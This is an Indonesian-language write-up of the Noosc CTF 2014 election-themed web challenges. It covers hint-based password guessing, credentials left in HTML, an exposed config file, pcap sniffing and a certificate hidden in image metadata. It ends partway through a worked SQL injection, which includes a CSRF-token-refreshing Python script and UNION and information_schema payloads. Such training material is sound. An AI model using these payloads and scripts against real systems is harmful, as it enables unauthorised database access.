CTF Noosc 2014 Write Up

download CTF Noosc 2014 Write Up

of 46

description

Noosc Global CTF 2014 Election Series

Transcript of CTF Noosc 2014 Write Up

Challenge 1 NOOSC CTF 2014: Pendaftaran Partai-PartaiSkenarioSesuai dengan amanat Undang-Undang tentang Kemerdekaan Berserikat dan Berkumpul, Penyelenggara Pemilu negara Atlantis membuka kesempatan kepada seluruh warga negara untuk mendirikan partai. Sebagian proses pendaftaran partai dilakukan secara elektronik, yakni dengan cara mengupload data pengurus serta dokumen legal masing-masing partai ke portal yang disediakan Penyelenggara Pemilu.Rumor yang beredar, terdapat sebuah celah keamanan weak password pada portal tersebut yang memungkinkan hacker yang tidak bertanggung jawab untuk login dan mengubah data pendaftaran partai-partai.

ChallengeAnda diminta untuk menginvestigasi dan menemukan password yang digunakan oleh hacker untuk login ke dalam Portal Penyelenggara Pemilu. Flag akan muncul ketika berhasil login ke dalam portal tersebut.

SolusiSolusinya adalah dengan menebak sesuai petunjuk.Masukan asal: 1234567 Petunjuk: a*****9*

Ternyata passwordnya 8 karakter, dari huruf 'a', tebak lagi:Coba: abcdef99Petunjuk: ***i**9*Ternyata huruf ke-4 adalah i, coba lagi:Coba: abcief99Ternyata huruf ke 5 adalah n:Petunjuk: ***in***Sejauh ini kita dapat huruf yg sudah pasti axxinf9x. Di sini saya tebak, awalnya adalah 'admin'Jadi saya coba: adminx9xTernyata saya dapet petunjuk sama lagi:Petunjuk: ***in***Tapi saya ulangi lagi, kali ini:Petunjuk: **m****3Huruf ke-3 sudah seperti tebakan ('m'). Sekarang 1 huruf lagi, saya coba admin193Petunjuk: a******3Petunjuknya tidak berguna, tapi berarti admin193 bukan jawabannya, coba lagi admin293Petunjuk: a*****9*Petunjuknya tidak berguna, tapi berarti admin293 bukan jawabannya, coba lagi admin393Terus admin394Petunjuk: ***i*5**Kali ini petunjuknya berguna, yang benar adalah admin593

Challenge 2 NOOSC CTF 2014: Verifikasi PartaiSkenarioSetelah semua partai mengupload data pengurus dan dokumen legal masing-masing ke portal sebelumnya, Penyelenggara Pemilu kemudian melakukan verifikasi terhadap data tersebut untuk mengecek kebenaran dan kelengkapannya. Di saat bersamaan, developer aplikasi portal penyelenggara pemilu melakukan upgrade versi aplikasi portal untuk menutup lubang keamanan yang ada di versi sebelumnya.Akan tetapi tidak lama kemudian ditengarai hacker yang berafiliasi pada ideologi politik tertentu tetap mampu kembali masuk ke dalam salah satu user panel partai yang terdaftar, dan melakukan penghapusan salah satu dokumen legal yang ada. Tugas anda adalah menemukan backdoor yang digunakan oleh cracker tersebut untuk login ke user panel partai tersebut.

ChallengeSebuah form login pada Portal yang terdapat celah keamanan. Anda diminta untuk mencari username dan password, kemudian gunakan informasi yang didapat tersebut untuk login ke dalam portal untuk mendapatkan flag-nya.

SolusiSesuai judulnya 'CredentialInHTML', artinya credential ada di HTML-nya

Gunakan View source di browser: Please sign in Usernamenya adalah Administrator. Passwordnya adalah co12WeWH6g25_6eME

Terlihat jelas bahwa usernamenya adalah 'Administrator' dan passwordnya adalah 'co12WeWH6g25_6eME'.

Challenge 3 NOOSC CTF 2014: DPTSkenarioPenyelenggara Pemilu sudah melakukan verifikasi partai-partai yang lolos dan berhak untuk ikut pemilu. Daftar partai ini dirilis oleh penyelenggara pemilu sebagai DPT (Daftar Partai Tetap) dan ditampilkan dalam sebuah portal. Warga negara Atlantis bisa mengakses dan mendownload profil partai-partai peserta pemilu dari portal ini.Desas-desus yang berkembang, Portal ini telah disusupi hacker untuk mengubah nama-nama partai yang ada.

ChallengeTugas anda adalah menemukan password yang digunakan oleh hacker tersebut untuk login ke user panel partai dan melakukan aktifitasnya. Password disini merupakan flag-nya.

Solusi

Ketika kita tekan backDi URL: http://c3.ctf.noosc.co.id/data/profile/

Di URL http://c3.ctf.noosc.co.id/data/Klik parent directory:

Klik config.phpDi URL http://c3.ctf.noosc.co.id/data/config.php

Selamat! Anda sudah mendapatkan flagnya: IQn2VTduWTlMqa3 Silahkan masukkan flag tersebut di sini

Challenge 4 NOOSC CTF 2014: Public Opinion SurveySkenarioSebuah lembaga survey sedang melakukan polling online untuk mengetahui persepsi masyarakat tentang partai-partai yang akan bertarung dalam Pemilu. Ditengarai polling online ini sudah disusupi oleh cracker. Cracker memanfaatkan sebuah file pcap yang tidak sengaja leaked di internet. File pcap ini berisi capture data paket ketika programmer dan enginer lembaga survey melakukan uji coba aplikasi polling mereka.

ChallengeTugas Anda adalah menemukan cara yang dipakai oleh cracker untuk masuk ke sistem tersebut, dan mendapatkan bukti perubahan data polling yang sudah dilakukan. Flag akan muncul ketika peserta berhasil login ke URL dengan username dan password yang valid.

SolusiMenggunakan Wireshark kita akan mendapatkan username dan passwordnya

Silakan cari POST, dan lihat hasilnya

Challenge 5 NOOSC CTF 2014: Hari PencoblosanSkenarioPenyelenggara Pemilu sudah melakukan persiapan dan menetapkan hari inilah saatnya dilakukan pemungutan suara. Warga negara Atlantis berbondong-bondong datang ke TPS (Tempat Pemungutan Suara) untuk melakukan pencoblosan. Khusus bagi anggota tim Pengamanan Pemilu yang harus mengawasi jalannya pencoblosan tanpa henti, Penyelenggara Pemilu juga menyediakan sebuah aplikasi berbasis web untuk melakukan pemungutan suara online. Penyelenggara Pemilu sudah mengimplementasikan proteksi client-side SSL Certificate pada aplikasi ini agar hanya orang-orang yang berhak yang bisa mengakses. Untuk menghindari tangan-tangan jahil, sertifikat SSL yang diperlukan telah disembunyikan oleh Penyelenggara Pemilu pada metadata salah satu gambar di page www.noosc.co.id/enterprise/

ChallengeSo, sebagai anggota tim Pengamanan Pemilu dan warga negara yang baik, Anda dipersilahkan untuk menggunakan hak pilih Anda untuk melakukan pencoblosan secara online dengan mengakses aplikasi voting online, setelah terlebih dahulu menginstall client-side SSL Certificate pada browser. Flag akan muncul ketika mengklik tombol 'vote.

SolusiSekarang kita search dulu bagaimana membaca metadata PNG ("view metadata png"):Dapat di URL ini http://superuser.com/questions/219642/what-software-can-i-use-to-read-png-metadata, jadi kita bisa memakai ImageMagick:

identify -verbose noosc_inteligent.png

Tidak ada yg menarikidentify -verbose noosc_device.png

....

exif:ImageDescription: 2d 2d 2d 2d 2d 42 45 47 49 4e ....

exif:Artist: EoYqH*4JsjykPRN

Perhatikan hex yang panjang (2d 2d 2d dst). Simpan ke file hex.txt (mulai dari `2d 2d sampai terakhir). Decode hex-nya:cat hex.txt | xxd -r -p > result.cert

Hasilnya: -----BEGIN CERTIFICATE----- MIIC7DCCAdQCAQEwDQYJKoZIhvcNAQEFBQAwgYExCzAJBgNVBAYTAklEMRQwEgYD VQQIDAtES0kgSmFrYXJ0YTEWMBQGA1UEBwwNSmFrYXJ0YSBQdXNhdDEYMBYGA1UE CgwPUFQgTm9vc2MgR2xvYmFsMRMwEQYDVQQLDApDVEYgU2VyaWVzMRUwEwYDVQQD DAxDQSBDVEYgTm9vc2MwHhcNMTQwMzE5MTc0OTAyWhcNMTUwMzE5MTc0OTAyWjB6 MQswCQYDVQQGEwJJRDEUMBIGA1UECAwLREtJIEpha2FydGExFjAUBgNVBAcMDUph a2FydGEgUHVzYXQxGDAWBgNVBAoMD1BUIE5vb3NjIEdsb2JhbDETMBEGA1UECwwK Q1RGIFNlcmllczEOMAwGA1UEAwwFdm90ZXIwgZ8wDQYJKoZIhvcNAQEBBQADgY0A MIGJAoGBAMZhvPeHQHbGGyBFb7h6SC6uQ04MuHRM98DDK2rrzlv3+C6sZzxnoj+H 1ZN6m87gaIrySTqg9nDHLmP47DyQ2Hdug2kvWnv/I5OIApEuL6YonFGMTMhe7bWp zP+ZuxyUqLoZ78XdTHPR/ipR7QDcMWiyhY0STZv5NCWemAy0DEJpAgMBAAEwDQYJ KoZIhvcNAQEFBQADggEBAIPdZhpaPu+C/m/aX791+dYXRpRp865aSrQPOxy2vENY 59pJY55/VUEe2OEWTYFxrZXD7NjG3s9qa3Z8pFgi1jYslJ3GTDyztLZpplfehv+t h3W5iIBReNlwd0N9gzaSF+RSKJc31N491VlmZ+QmEYwMUBjPmI7asqA1szuX/eUU z/ohJxA30EPybkkEeDNAgLhwPdHYVw6PueUbnSABpSmhcICRzlL3zGS7n8skWl5u DBG/9PYGFiUUJmt1AABmibcenW4EmQUdrQsGTxsoxtnljqzbYMdTI4Zs/pxR7k2L rVfeGLc9SiIDbReShno42mHxcjBXV+NcFVtys++r3zs= -----END CERTIFICATE-----

-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,3669FE84BC42720C

e8hbYwCnmD4+aZSvlFbKyiccDxfmqHYt9X4YklMBZwAg+PgDgZ2xL6jUdiXD2/1K Yt6VxbfvmSenWXobQFspspAAjNM2bx/sD0RZ9fasylK+rSrbD1dDd0QW2hUT34vY e7zNtXH8ll1/m6s3/bv9GSEv5pnql+RS5ZmWWt2FQLe0DpIanbvwhMfE7zUBoBcs GKuPNgm9msoMI52m0esZ6O0QMozFTohp624Nv5IPx8oP/wYqzKXmBolUkVA1da5C WK43EdVUeyS6nNAPLXS4YkxR23+BuZVoMVfnK+QmWar1A65qQqEUwJntZuTs58vd G1GimWV20uCflIze7pjJ2ZV7bqcN0kuiAg+/Ka+fybOMVROu1+DyPT3cJ4IRmu47 hMcNRdJ+BxnnQAPb012M1dABhD7Gmpv7JU4LXHR4Lkhi6zwiUXWtqEHObAxfFpK1 34D9Prq5SAS2Z6ltXbNb4m2rPMSshm7KIcrvM8YYezyrX8H2NMYB0RZbyzdW09QG KOfkdRIWBaymhveokkIhbLEtDZZEKonmT0X0e8twfqlFo3/v5RpMSmoO66Aw46zP 1gkXWRXk4OxKlX/JdiiThwO32C0BIwEjlUuKIWt2C15JX2Wi3Ccup2PbXBY/S0aO 3E2Zvn6lTsZLeH7EgZhf0FC1or9kT9CO8KBIWpXKGzFEpKCWMwdxgnuyNzxLxuxX JRkMcVOYx1+iFGW3ZD8525T2xO2kpfpyfjT8Pwf2GD1OOiXYrMQ6CfK4V96zdyVW l9/PKKMypr9kZAD0SN4Pxg3TD6NUcOVgg+2ImwsXiY604hWCZkES8w== -----END RSA PRIVATE KEY-----

Perhatikan bahwa ini terenkripsi ( Proc-Type: 4,ENCRYPTED) teorinya sebenarnya kita cuma perlu mengimpor file ini ke browser, lalu mengunjungi https://0x165.ctf.noosc.co.id:8443 tapi ternyata proses ini sering gagal di banyak browser. Jadi saya langsung menggunakan command line curl saja. Sayangnya ini juga gagal di OS X.curl -k -vv -E "result.cert:EoYqH*4JsjykPRN" https://0x165.ctf.noosc.co.id:8443/ -o result.html

* Adding handle: conn: 0x7fbb2a004400 * Adding handle: send: 0 * Adding handle: recv: 0 * Curl_addHandleToPipeline: length: 1 * - Conn 0 (0x7fbb2a004400) send_pipe: 1, recv_pipe: 0% Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* About to connect() to 0x165.ctf.noosc.co.id port 8443 (#0) * Trying 103.31.233.235... * Connected to 0x165.ctf.noosc.co.id (103.31.233.235) port 8443 (#0) * Unknown SSL protocol error in connection to 0x165.ctf.noosc.co.id:-98240 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 * Closing connection 0curl: (35) Unknown SSL protocol error in connection to 0x165.ctf.noosc.co.id:-9824

Sedangkan di Linux bisa $ curl -k -vv -E "result.cert:EoYqH*4JsjykPRN" https://0x165.ctf.noosc.co.id:8443/ -o result.html * About to connect() to 0x165.ctf.noosc.co.id port 8443 (#0) * Trying 103.31.233.235... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0connected * Connected to 0x165.ctf.noosc.co.id (103.31.233.235) port 8443 (#0) * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * SSLv3, TLS handshake, Client hello (1): } [data not shown] * SSLv3, TLS handshake, Server hello (2): { [data not shown] * SSLv3, TLS handshake, CERT (11): { [data not shown] * SSLv3, TLS handshake, Server key exchange (12): { [data not shown] * SSLv3, TLS handshake, Request CERT (13): { [data not shown] * SSLv3, TLS handshake, Server finished (14): { [data not shown] * SSLv3, TLS handshake, CERT (11): } [data not shown] * SSLv3, TLS handshake, Client key exchange (16): } [data not shown] * SSLv3, TLS handshake, CERT verify (15): } [data not shown] * SSLv3, TLS change cipher, Client hello (1): } [data not shown] * SSLv3, TLS handshake, Finished (20): } [data not shown] * SSLv3, TLS change cipher, Client hello (1): { [data not shown] * SSLv3, TLS handshake, Finished (20): { [data not shown] * SSL connection using DHE-RSA-AES256-SHA * Server certificate: * subject: C=ID; ST=DKI Jakarta; L=Jakarta Pusat; O=PT Noosc Global; OU=CTF Series; CN=0x165.ctf.noosc.co.id * start date: 2014-03-19 17:46:54 GMT * expire date: 2015-03-19 17:46:54 GMT * common name: 0x165.ctf.noosc.co.id (matched) * issuer: C=ID; ST=DKI Jakarta; L=Jakarta Pusat; O=PT Noosc Global; OU=CTF Series; CN=CA CTF Noosc * SSL certificate verify result: self signed certificate in certificate chain (19), continuing anyway. > GET / HTTP/1.1 > User-Agent: curl/7.21.0 (mipsel-unknown-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.15 libssh2/1.2.6 > Host: 0x165.ctf.noosc.co.id:8443 > Accept: */* > 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0 > x = ["visualization", "1", "corechart", "load", "setOnLoadCallback", "responseText", "data.php", "json", "ajax", "chart_div", "getElementById", "draw", "params=wops"] >> y = 'google[_0x9d51[3]](_0x9d51[0],_0x9d51[1],{"\x70\x61\x63\x6B\x61\x67\x65\x73":[_0x9d51[2]]});google[_0x9d51[4]](drawChart);function drawChart(){var _0x4042x2=$[_0x9d51[8]]({url:_0x9d51[6],dataType:_0x9d51[7],async:false})[_0x9d51[5]];var _0x4042x3= new google[_0x9d51[0]].DataTable(_0x4042x2);;var _0x4042x4= new google[_0x9d51[0]].PieChart(document[_0x9d51[10]](_0x9d51[9]));_0x4042x4[_0x9d51[11]](_0x4042x3,{width:900,height:650});} ; ' >> for i in range(0,len(x)): y = y.replace("_0x9d51[%d]" % i, x[i]) >>y

google[load](visualization,1,{"packages":[corechart]});google[setOnLoadCallback](drawChart);function drawChart(){var _0x4042x2=$[ajax]({url:data.php,dataType:json,async:false})[responseText];var _0x4042x3= new google[visualization].DataTable(_0x4042x2);;var _0x4042x4= new google[visualization].PieChart(document[getElementById](chart_div));_0x4042x4[draw](_0x4042x3,{width:900,height:650});} ;

Ternyata 'param=wops' tidak dipakai sama sekali di Javascriptnya. Kita coba cara lain.Kita lihat data.php merupakan sumber data untuk chart.

Saya copykan ini sebagai command line curl supaya gampang saya edit:

curl 'http://bx5166.ctf.noosc.co.id:8080/data.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

{ "cols": [ {"id":"","label":"Topping","pattern":"","type":"string"}, {"id":"","label":"Slices","pattern":"","type":"number"} ], "rows": [ {"c":[{"v":"Partai Caesar","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Troy","f":null},{"v":4,"f":null}]}, {"c":[{"v":"Partai Petra","f":null},{"v":3,"f":null}]}, {"c":[{"v":"Partai Dorado","f":null},{"v":5,"f":null}]}, {"c":[{"v":"Partai Memphis","f":null},{"v":2,"f":null}]}, {"c":[{"v":"Partai Angkor","f":null},{"v":3,"f":null}]}, {"c":[{"v":"Partai Pompeii","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Machupichu","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Gibraltar","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Java","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Celebes","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Borneo","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Soenda-eilan","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Molukke","f":null},{"v":3,"f":null}]}, {"c":[{"v":"Partai Papoea","f":null},{"v":2,"f":null}]}, {"c":[{"v":"Partai Sumatra","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Maleisie","f":null},{"v":1,"f":null}]} ], "csrftoken_id": "uxevOj1d2CCUVUY", "csrftoken_val": "650e9f0648fc5b1083837982fd7524a1d002b60f317077b82f4e04f1a022053e", "next_url": "data2.php", "msg": "" }

Perhatikan next_url, ada data2.php, mari kita coba ke sana curl 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Hasilnya kosong. Berarti perlu kita cek dengan -v untuk menampilkan header. Sekarang hasilnya curl -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

< HTTP/1.1 302 Found < Date: Thu, 03 Apr 2014 06:55:16 GMT * Server Apache/2.2.22 (Debian) is not blacklisted < Server: Apache/2.2.22 (Debian) < X-Powered-By: PHP/5.4.4-14+deb7u8 < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 < Pragma: no-cache < location: data.php

Wah ternyata kita diredirect ke alamat baru. Curl secara default tidak mengikuti redirect, jadi kita tambahkan opsi -L, supaya curl mengikuti redirect curl -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Perhatikan msg di bagian terakhir: "csrftoken_id": "4xDfOz4hqeCt9gB", "csrftoken_val": "8c745749c4f7d4e9b30166c9a2150bd6d761056a5cc8ee553e7135ac88b9a168", "next_url": "data2.php", "msg": "Metode tidak sesuai. Token tidak sesuai. " }

Perhatikan pesan ini: "Method tidak sesuai, token tidak sesuai." Ada dua kesalahan katanya "method tidak sesuai" (kita memakai get) dan "token tidak sesuai". Pertama: kita coba dulu selesaikan masalah "method tidak sesuai". Karena sudah mencoba GET, kita coba post. Tapi data apa yang akan kita kirimkan? tadi ada params=wops, kemungkinan kita bisa mengeset wops dengan suatu nilai. Kita coba saja: curl -d 'wops=1' -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Sekarang pesan yang keluar: "csrftoken_id": "bqB2pxsHrWleB3Z", "csrftoken_val": "a783df02af6ebc4e593757a7a817485fa13736deb4a262124b7d689cd55532e1", "next_url": "data2.php", "msg": "Token tidak sesuai. " }

Sekarang masalah token: katanya token tidak sesuai, token apa kira-kira yang dimaksud? oh lihat ada 'csrftoken_id' dan 'csrftoken_val'. coba kita kirimkan balik ke data2.php: curl -d 'csrftoken_id=bqB2pxsHrWleB3Z&csrftoken_val=a783df02af6ebc4e593757a7a817485fa13736deb4a262124b7d689cd55532e1&wops=1' -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Wah katanya "Token tidak sesuai", dan tokennya ganti lagi. "csrftoken_id": "R4AaQQtQetOXlHd", "csrftoken_val": "6c5cc68ccd877b48a77d32635fd0911332ac778592d9162924481cfa67798233", "next_url": "data2.php", "msg": "Token tidak sesuai. " }

Biasanya ketika memprogram proteksi untuk CSRF, kita cuma butuh valuenya aja dengan nama variabel tetap, misalnya 'cstf=TOKEN' Kenapa di sini ada csrftoken_id dan csrftoken_val? Oh sepertinya kita harus mengirimkan: csrftoken_id=csrftoken_val. curl -d 'R4AaQQtQetOXlHd=6c5cc68ccd877b48a77d32635fd0911332ac778592d9162924481cfa67798233&wops=1' -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Hasilnya "csrftoken_id": "q4kH2tX065UX3qw", "csrftoken_val": "258aa2acf2640c6754c923ca1489f24da2481c502fe1a8eefe18fe0758b7a1e6", "next_url": "data2.php", "msg": "Data tidak ditemukan" }

Lihat: pesannya berubah: data tidak ditemukan. Tokennya pun berubah. Kita coba apakah kita bisa menggunakan ulang tokennya: curl -d 'R4AaQQtQetOXlHd=6c5cc68ccd877b48a77d32635fd0911332ac778592d9162924481cfa67798233&wops=1' -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Hasilnya: "csrftoken_id": "BzJCEVOYv73ZFD0", "csrftoken_val": "8143b4f8212c09539713ab81db7f67126010d05cfb987e45aceaa45200699e1b", "next_url": "data2.php", "msg": "Token tidak sesuai. " }

Wah ternyata tidak boleh. Kita bisa saja mengupdate parameter tiap kali merequest, tapi ini akan terlalu lama, saatnya membuat skrip kecil:import pycurlfrom StringIO import StringIO import jsonimport sys

c = pycurl.Curl()storage = StringIO()

cookie = 'PHPSESSID=ve4d9k16kf9aug537ghhsreji0'

c.setopt(c.URL, 'http://bx5166.ctf.noosc.co.id:8080/data.php')c.setopt(c.COOKIE, cookie)c.setopt(c.VERBOSE, True)c.setopt(c.WRITEFUNCTION, storage.write)

r = c.perform()

content = storage.getvalue()all = json.loads(content)

c.reset()storage = StringIO()

c.setopt(c.URL, 'http://bx5166.ctf.noosc.co.id:8080/data2.php')c.setopt(c.COOKIE, cookie)c.setopt(c.VERBOSE, True)c.setopt(pycurl.FOLLOWLOCATION, 1)

posts = [ (str(all['csrftoken_id']), str(all['csrftoken_val'])), ('wops',sys.argv[1]) ]

c.setopt(c.HTTPPOST, posts);

c.perform()

Untuk memakainya, perlu package pycurl untuk python. Berikutnya skrip bisa dijalankan dengan: python get.py "parameter-untuk-wops"Dari pesan error "Tidak ditemukan" kita bisa membayangkan querynya mungkin seperti ini: "select namakolom from namatabel where namakolomlain=" + wopsMungkin nilai wopsnya salah sehingga tidak ditemukan. Saya coba-coba berbagai query yang gagal: python get.py admin python get.py "'" python get.py "select * from users" python get.py "Partai Sumatra" python get.py "Troy" python get.py "1" python get.py "2" python get.py "" python get.py "' or 1='1" python get.py "data.php" python get.py "Partai Troy" python get.py "Partai '" python get.py "'" python get.py "11231" python get.py "list"

Bagaimana caranya supaya ada datanya? Ah bodoh sekali saya, query semacam ini harusnya berhasil "0 or 1=1", dengan ini maka 1=1 akan selalu true. python get.py "0 or 1=1"

Lihat hasilnya: "next_url": "data2.php", "msg": "1394126387" }

Wah sekarang ada hasilnya. Saya coba lagi query yang lebih sederhana, di mysql 1 adalah true, jadi 1=1 bisa diganti dengan '1' saja (mysql ini hanya tebakan mengingat servernya Linux): python get.py "0 or 1"Lihat hasilnya masih bisa: "next_url": "data2.php", "msg": "1394126387" }

Sekarang kita coba union dengan angka 1 sekedar untuk mengetes berapa jumlah kolom dalam bagian selectAda kemungkinan kolom di bagian select lebih dari satu, kira2 seperti ini: "select namakolom1,namakolom2,namakolom3 from namatabel where namakolomlain=" + wopsJadi kita coba python get.py "0 or 1 UNION SELECT 1"Wah sekarang kembali lagi: "Data tidak ditemukan"python get.py "0 or 1 union select 1,2"masih gagalpython get.py "0 or 1 union select 1,2,3"

masih gagal juga python get.py "0 or 1 union select 1,2,3,4"

Berhasil, datanya muncul lagi walau masih angka yang sama. Sekarang saatnya mencoba mengekstrak data, kita coba apakah kita bisa menggunakan "limit":python get.py "0 or 1 union select 1,2,3,4 limit 1"

Ternyata bisa: "csrftoken_id": "SqGVl8LPGm4yC3B", "csrftoken_val": "db5eb6e5f20a6b8a2f8502d86e5db04c0bacaf738addc6c238da51c20af94b90", "next_url": "data2.php", "msg": "1394126387" }

Tapi kita butuh data di row berikut (hasil union), jadi kita beri offset: python get.py "0 or 1 union select 1,2,3,4 limit 1 offset 1"

Eh hasilnya masih sama : "csrftoken_id": "DdP6JM7AX0CbKur", "csrftoken_val": "fe629214632eadfc33aced69cebf5f447f8065c3aa6e564178541faae5ea0a7e", "next_url": "data2.php", "msg": "1394126387" }

Coba offset berikutnya: python get.py "0 or 1 union select 1,2,3,4 limit 1 offset 2":

Berhasil "csrftoken_id": "5A9xTZ9romYPGtM", "csrftoken_val": "ca9b8591f1d666cd42f776e603a5dd7686a762a75957e5808811c7d45e33150f", "next_url": "data2.php", "msg": "4" }

Ok berhasil, jadi yang ditampilkan di msg adalah kolom ke 4. Sekarang kita bisa menggunakan query standar untuk mendapatkan namat abel.Sekarang test apakah ini mysql (tebakan saya karena PHP di Linux kebanyakan memakai Mysql):python get.py "0 or 1 union select 1,2,3,version() limit 1 offset 2"

Hasilnya "next_url": "data2.php", "msg": "5.5.35-0+wheezy1" }

Ini pertanda databasenya adalah mysql versi 5.5 Dari nomor versi saja kita bisa tahu karena postgres dan yang lain akan menghasilkan string yang berbeda. Ok, saatnya mencari tahu nama tabel yang ada. python get.py "0 or 1 union (select 1,2,3,table_name from information_schema.tables where table_type='base table') limit 1 offset 2"Hasil: config python get.py "0 or 1 union (select 1,2,3,table_name from information_schema.tables where table_type='base table' limit 1 offset 1) limit 1 offset 2"Hasil: injectArgh ini bisa lama, kita bisa memakai group_concat di mysql: python get.py "0 or 1 union (select 1,2,3,group_concat(table_name separator '|') from information_schema.tables where table_type='base table') limit 1 offset 2"Hasilnya: "msg": "config|inject|n1mbusadmin"

